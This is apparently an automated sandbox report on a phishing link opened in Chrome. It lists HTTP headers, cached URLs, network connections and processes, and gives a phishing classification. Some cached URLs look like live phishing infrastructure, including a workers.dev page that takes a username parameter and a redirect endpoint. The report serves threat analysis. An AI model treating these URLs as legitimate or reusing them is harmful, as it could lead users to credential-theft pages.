cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=6922&min_rtt=6918&rtt_var=2602&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2876&recv_bytes=1858&delivery_rate=420023&cwnd=32&unsent_bytes=0&cid=6e186b67a9906441&ts=1456&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:54:01 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de60550e23e641-IADCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.19962.7 - EUS ProdSlicesx-ms-request-id: cd232a9c-fa3d-403d-9cbc-8079d1447500x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=6922&min_rtt=6917&rtt_var=2604&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2876&recv_bytes=1933&delivery_rate=419540&cwnd=32&unsent_bytes=0&cid=d07b0a99e2e7a848&ts=2528&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:54:03 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de6061780be5f0-IADCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.20003.8 - SCUS ProdSlicesx-ms-request-id: 12c61b77-d3a4-4c1c-8e2c-44b983a31800x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=7228&min_rtt=7198&rtt_var=2759&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2875&recv_bytes=1857&delivery_rate=392473&cwnd=32&unsent_bytes=0&cid=305a4bbfa2f84cd2&ts=496&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:54:03 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de606168687c69-EWRCF-Cache-Status: DYNAMICAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+bno"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.20003.8 - SCUS ProdSlicesx-ms-request-id: b1d4dc2d-cc55-41ff-b8f7-510186731200x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1928&min_rtt=1927&rtt_var=725&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2875&recv_bytes=1858&delivery_rate=1505930&cwnd=179&unsent_bytes=0&cid=b1ceacd48886b402&ts=572&x=0"

Source: chromecache_119.1.dr	String found in binary or memory: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe
Source: chromecache_110.1.dr, chromecache_140.1.dr	String found in binary or memory: https://alot-eight.vercel.app/api/redirect
Source: chromecache_124.1.dr, chromecache_95.1.dr	String found in binary or memory: https://appends.netlify.app
Source: chromecache_112.1.dr, chromecache_108.1.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_129.1.dr	String found in binary or memory: https://cdn.jsdelivr.net/gh/vencillrina33/cssjs
Source: chromecache_119.1.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_100.1.dr	String found in binary or memory: https://cstaticdun.126.net//2.6.3/images/icon_light.f13cff3.png)
Source: chromecache_141.1.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Open
Source: chromecache_134.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa0ZL7SUc.woff2)
Source: chromecache_134.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1ZL7.woff2)
Source: chromecache_134.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1pL7SUc.woff2)
Source: chromecache_134.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa25L7SUc.woff2)
Source: chromecache_134.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2JL7SUc.woff2)
Source: chromecache_134.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2ZL7SUc.woff2)
Source: chromecache_134.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa2pL7SUc.woff2)
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4gaVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4iaVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4jaVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4kaVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4saVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4taVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4uaVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4vaVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B5OaVI
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B5caVI
Source: chromecache_112.1.dr, chromecache_108.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_112.1.dr, chromecache_108.1.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_110.1.dr, chromecache_140.1.dr	String found in binary or memory: https://picsum.photos/300/150/?image=
Source: chromecache_112.1.dr, chromecache_108.1.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_112.1.dr, chromecache_108.1.dr	String found in binary or memory: https://www.google.com
Source: chromecache_112.1.dr, chromecache_108.1.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_108.1.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_141.1.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=GTM-WJXL7FH
Source: chromecache_141.1.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-WJXL7FH
Source: chromecache_116.1.dr	String found in binary or memory: https://www.iana.org/domains/example

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901

Source: classification engine

Classification label: mal68.phis.win@27/94@70/30

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1896,i,10867144827039366285,47479242592241981,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1896,i,10867144827039366285,47479242592241981,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

